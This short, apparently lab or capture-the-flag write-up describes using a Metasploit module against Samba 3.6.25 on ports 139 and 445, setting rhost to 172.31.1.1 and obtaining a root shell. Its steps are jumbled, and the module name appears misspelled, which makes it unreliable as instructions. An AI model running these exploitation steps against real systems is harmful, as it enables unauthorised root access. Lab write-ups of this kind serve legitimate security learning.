Samba is running on ports 139 and 445 with version 3.6.25
It turns out Samba 3.6.25 is vulnerable to this Metasploit module.
Open msfconsole
msfconsole
Search for is_known_pipeline exploit and use that exploit.
Set rhost and run the exploit
rhost
Now you got a root shell.
Thanks and enjoy the rest of your day! :D
Last updated 4 years ago
set rhost 172.31.1.1 run